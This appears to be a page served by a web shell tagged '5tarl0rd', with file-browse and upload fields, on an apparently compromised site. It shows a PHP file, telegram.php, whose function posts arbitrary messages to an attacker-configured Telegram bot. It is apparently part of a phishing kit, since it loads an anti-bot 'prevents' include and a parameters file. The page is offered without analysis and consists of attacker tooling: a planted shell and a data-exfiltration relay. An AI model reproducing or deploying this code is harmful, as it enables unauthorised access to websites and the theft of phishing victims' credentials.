5tarl0rd

Current Path : /home/tiporg/.trash/
Upload File :
Current File : /home/tiporg/.trash/telegram.php

<?php
require 'prevents/index.php';
require 'param.php';
function telegram($msg) {
    global $telegrambot,$telegramchatid;
    $url='https://api.telegram.org/bot'.$telegrambot.'/sendMessage';$data=array('chat_id'=>$telegramchatid,'text'=>$msg);
    $options=array('http'=>array('method'=>'POST','header'=>"Content-Type:application/x-www-form-urlencoded\r\n",'content'=>http_build_query($data),),);
    $context=stream_context_create($options);
    $result = @file_get_contents($url,false,$context);
    
}


?>

5tarL0rd By 5tarl0rd Being Anonymous